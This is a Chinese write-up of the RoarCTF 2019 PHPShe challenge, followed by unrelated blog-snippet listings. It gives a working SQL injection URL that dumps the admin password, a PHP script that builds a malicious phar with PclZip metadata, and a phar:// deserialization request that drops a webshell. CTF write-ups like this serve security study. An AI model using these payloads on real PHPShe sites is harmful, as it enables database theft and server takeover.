[RoarCTF 2019]PHPShe

2023/11/30 6:42:28
知识点: phpshe cms 代码审计(代码对比,phar 反序列化,sql突破安全函数)

前台 sql 注入 获取密码

先看一下它对参数做了什么处理(common.php),在参数前加上了 _g_

if (get_magic_quotes_gpc()) {
	!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
	!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
	!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
	!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

include/function/global.func.php 中的 pe_dbhold 是防 sql 注入的,对字符串或者数组调用 addslashes() 转义,把一些字符实体化。

突破安全函数常见的有如下几种情况:

1. 不需要单引号的注入点 2. 数组的键名带入SQL语句中 3. 宽字节等可吃掉反斜线。
function pe_dbhold($str, $exc=array())
{
	if (is_array($str)) {
		foreach($str as $k => $v) {
			$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
		}
	}
	else {
		//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
		$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
	}
	return $str;
}

入口文件位于 include/plugin/payment/alipay/pay.php$_GET['id'] 经过 pe_dbhold() 函数处理后赋值给 $order_id,然后 $order_id 被带入 order_table() 函数。

$order_id = pe_dbhold($_g_id);
$order_id = intval($order_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

hook/order.hook.php 下的 order_table 判断表名中有没有下划线,若有则取下划线前一部分,加到 order_ 后面,若没有则直接返回 order,这边的表名我们能控制一部分

function order_table($id) {
	if (stripos($id, '_') !== false) {
		$id_arr = explode('_', $id);
		return "order_{$id_arr[0]}";
	}
	else {
		return "order";	
	}
}

\source\include\class\db.class.php 下的 pe_select 执行 sql 语句,且这边的表名没有用单引号,所以可以绕过 addslashes,我们只要闭合一下就可以 sql 注入了,这边为了防止报错,最好找一个表名中有 order_ ,这里只有 pe_order_pay 符合。

public function pe_select($table, $where = '', $field = '*')
	{ 	
		//处理条件语句
		$sqlwhere = $this->_dowhere($where);
		return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
	}

payload:查询admin密码

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_ 

账号密码:admin/altman777
在这里插入图片描述

反序列化

这边学到了一个新的思路,可以用 Diffinity 把题目的源码和 PHPshe 官网的源码进行对比,在 /include/class/pclzip.class.phpPclZip 类中加了一个析构函数。
在这里插入图片描述
可以直接反序列化然后解压文件,且路径可控,那么我们只要上传一个压缩后的 webshell,并控制解压文件的路径到可访问的目录就可以获得 webshell,那么在哪边反序列化呢?

moban.phpdel 功能下调用了 pe_dirdel,而 pe_dirdel 里面的 is_file 可以触发 phar 反序列化。(注意:是需要 token 的)

case 'del':
		pe_token_match();
		$tpl_name = pe_dbhold($_g_tpl);
		if ($tpl_name == 'default') pe_error('默认模板不能删除...');
		if ($db->pe_num('setting', array('setting_key'=>'web_tpl', 'setting_value'=>$tpl_name))) {
			pe_error('使用中不能删除');
		}
		else {
			pe_dirdel("{$tpl_name}");
			pe_success('删除成功!');
		}
function pe_dirdel($dir_path)
{
	$dir_path = str_replace("..", " ", $dir_path);
	if (is_file($dir_path)) {
		#unlink($dir_path);
	}
	else {
		$dir_arr = glob(trim($dir_path).'/*');
		if (is_array($dir_arr)) {
			foreach ($dir_arr as $k => $v) {
				pe_dirdel($v, $type);
			}	
		}
		#rmdir($dir_path);
	}
}

构造 phar 文件,只需要改 zipnamesave_path 属性,其他的照搬,最后把 phar 后缀改为 phar.txt,上传到品牌管理。

<?php 
class PclZip{
    var $zipname = '';
    var $zip_fd = 0;
    var $error_code = 1;
    var $error_string = '';
    var $magic_quotes_status;
    var $save_path = '/var/www/html/data';

    function __construct($p_zipname){
        
        $this->zipname = $p_zipname;
        $this->zip_fd = 0;
        $this->magic_quotes_status = -1;

        return;
    }

}

$a=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
 ?>

上传后的文件名为 ID号.xxx

在这里插入图片描述
payload:
在 moban 的 del 处触发 phar,把压缩后的 webshell 解压到 data/xxx.php

admin.php?mod=moban&act=del&token=c740493955d5ca97a92ffee76d5938cc&tpl=phar:///var/www/html/data/attachment/brand/2.txt

在这里插入图片描述

reference

https://anquan.baidu.com/article/697
https://blog.csdn.net/mochu7777777/article/details/107550135

http://www.jnnr.cn/a/117422.html

相关文章

产品经理考个 PMP 有用吗?

我觉得这个问题让考了PMP的产品经理来回答更确实!!! 我身边就有两个朋友是产品经理&#xff0c;去年我考PMP把他们也拉上了&#xff0c;我说要是没有用我倒立洗头&#xff0c;到现在我一直还是站着洗的&#xff0c;这足以证明PMP认证对产品经理是有用的&#xff01;当然不排除…

用积木讲运维,这样的IT人太会了

积木的拼搭&#xff0c;是件细致工作。用不同的积木&#xff0c;进行组合变换&#xff0c;小孩子可能会用积木搭高楼、搭汽车、搭公路&#xff0c;而IT人则选择通过搭建小积木&#xff0c;讲解可观测的大乾坤。 大家所熟知的日志服务SLS不只是“日志存储”&#xff0c;更是一个…

国内研究者在关注着大家的哪些心理变化?横断历史研究介绍与趋势分析

Hello&#xff0c;大家好 这里是壹脑云科研圈&#xff0c;我是莹~ 在之前的一篇文献介绍《1993至2016年医学生心理健康变迁的横断历史研究》中&#xff0c;我们简要介绍了一下横断历史研究的方法。 文献&#xff5c;劝人学医&#xff0c;“天打雷劈”&#xff1f;医学生心理…

前端常见vue面试题合集

Vue3有了解过吗&#xff1f;能说说跟vue2的区别吗&#xff1f; 1. 哪些变化 从上图中&#xff0c;我们可以概览Vue3的新特性&#xff0c;如下&#xff1a; 速度更快体积减少更易维护更接近原生更易使用 1.1 速度更快 vue3相比vue2 重写了虚拟Dom实现编译模板的优化更高效的…

基于PHP的餐厅微信点餐支付小程序设计与实现(任务书+开题+lunwen+前后台源码)

目 录 摘 要 I Abstract II 1绪论 1 1.1研究背景及意义 1 1.3研究内容 2 2微信小程序开发相关技术介绍 3 2.1微信小程序介绍 3 2.1.1微信介绍 3 2.1.2微信小程序简介 3 2.1.3微信小程序基本功能 4 2.2微信点餐小程序开发技术的介绍 5 2.2.1 PHP 5 2.2.2 JSON 6 2.2.3 XML 6 2.2…

Axios+Elementui+Vue+原生JS+后端原生java的JAVA web小组项目踩坑总结

目录 序 后端 关于maven与tomcat 关于过滤器 关于session 关于使用fastjson转换复杂类型的JSON字符串 前端 html不同页面拼接 js跨页面传值与本地缓存 element-ui中使用click事件无法触发 JSON字符串与JS数组常见API js获取当前时间&#xff0c;可直接插入数据库 I…

2023最新SSM计算机毕业设计选题大全(附源码+LW)之java家具商城hog7l

毕业设计说实话没有想象当中的那么难&#xff0c;导师也不会说刻意就让你毕设不通过&#xff0c;不让你毕业啥的&#xff0c;你只要不是太过于离谱的&#xff0c;都能通过的。首先你得要对你在大学期间所学到的哪方面比较熟悉&#xff0c;语言比如JAVA、PHP等这些&#xff0c;数…

C语言如何做到四舍五入保留小数

C语言中的格式化打印 : 例如&#xff1a; printf("%.2f",21.195); 输出是 21.20 四舍五入保留了定义宏变量 #define 即符号常量 也能够四舍五入保留 而变量和常变量 并不四舍五入&#xff1a; float a21.195 ;const float b21.195;printf("%.2f \n %.2f&quo…

A child container failed during start之解决方法

问题原因&#xff1a; 小编经过查看是pom.xml里面的配置问题&#xff0c;存在多余的配置&#xff0c;删除成功解决&#xff1a; 遇到这种情况&#xff0c;我们首先查看一遍自己所写的各种配置文件&#xff08;pom&#xff0c;web&#xff0c;springMVC &#xff0c;application…

手写一个Redux,深入理解其原理-面试进阶

Redux可是一个大名鼎鼎的库&#xff0c;很多地方都在用&#xff0c;我也用了几年了&#xff0c;今天这篇文章就是自己来实现一个Redux&#xff0c;以便于深入理解他的原理。我们还是老套路&#xff0c;从基本的用法入手&#xff0c;然后自己实现一个Redux来替代源码的NPM包&…

Maven配置单仓库与多仓库(Nexus)

配置单仓库与多仓库 单仓库 当只配置一个仓库时&#xff0c;操作比较简单&#xff0c;直接在Maven的settings.xml文件中进行全局配置即可&#xff0c;以阿里云的镜像为例&#xff1a; <mirrors><mirror><id>alimaven</id><name>aliyun maven&…

Win11最新KB5019980(22621.819)更新内容详解

今天不少用户都收到了Win11最新KB5019980补丁&#xff0c;安装之后可将版本号升级至22621.819&#xff0c;新版本还在任务栏上下文菜单中重新引入了“任务管理器”选项&#xff0c;改进了使用 Microsoft 帐户时的备份体验&#xff0c;更新了搜索体验等。下面就来看看具体内容。…

Origin 导入数据画图使用经验总结

Origin是一款数据分析和绘图的软件&#xff0c;具备统计、峰值分析和曲线拟合等分析功能&#xff0c;可以绘制出二维和三维图形。 可参考连接&#xff1a; 华南理工大学经验分享|科研学术绘图神器OriginOrigin是由OriginLab公司出品的一款具备数据统计、峰值分析、曲线拟合等…

第一个发布成功的UI组件库

创建一个vue2项目 npm install -g vue/cli vue create xiaoququ-ui根目录下新建一个plugins文件夹&#xff0c;用来放组件 vue.config.js配置打包规则 const path require(path) module.exports {// 修改 pages 入口pages: {index: {entry: src/main.js, // 入口template: …

音视频同步

音视频同步 FFmpeg简易播放器流程图 音视频同步的目的是为了使播放的声音和显示的画面保持一致。 视频按帧播放&#xff0c;图像显示设备每次显示一帧画面&#xff0c;视频播放速度由帧率确定&#xff0c;帧率指示每秒显示多少帧&#xff1b; 音频按采样点播放&#xff0c;声…

Redis高可用方案之哨兵模式

哨兵&#xff08;sentinel&#xff09;是Redis的高可用性(High Availability)的解决方案&#xff1a; 由一个或多个sentinel实例组成sentinel集群可以监视一个或多个主服务器和多个从服务器。当主服务器进入下线状态时&#xff0c;sentinel可以将该主服务器下的某一从服务器升…

【后端】初识HTTP_2

我们学习的HTTP协议&#xff0c;是应用层里面最广泛使用的协议~ 我们主要是学习HTTP的请求响应的报文格式 我们可以借助抓包工具来学习&#xff0c;抓包抓到的是文本格式~~ 根据上节内容 我们大概了解了请求和响应的格式 请求有4部分&#xff1a; &#xff08;1&#xff…

基金|最新“情绪领域”项目情报分享,速看

Hello&#xff0c;大家好&#xff01; 这里是壹脑云科研圈&#xff0c;我是内啡肽~ 壹脑云科研圈应邀开设了【心理学科研基金项目】专栏&#xff08;欢迎大家投稿&#xff01;&#xff09;。第一期将从以下三方面为大家分享部分情绪&#xff08;Emotions&#xff09;相关的基金…

8万字208道Java经典面试题总结(附答案)

前言 最近有很多粉丝问我&#xff0c;有什么方法能够快速提升自己&#xff0c;通过阿里、腾讯、字节跳动、京东等互联网大厂的面试&#xff0c;我觉得短时间提升自己最快的手段就是背面试题&#xff0c;最近总结了Java常用的面试题&#xff0c;分享给大家&#xff0c;希望大家…

python之字典相关知识

python之字典相关知识 1、字典的创建 字典是一个无序、可变和有索引的集合。在 Python 中&#xff0c;字典用花括号编写&#xff0c;拥有键和值。字典的每个键值 key:value 对用冒号分割&#xff0c;键值对之间用逗号分割 示例 # 创建并打印字典 aDict {"name":&…
最新文章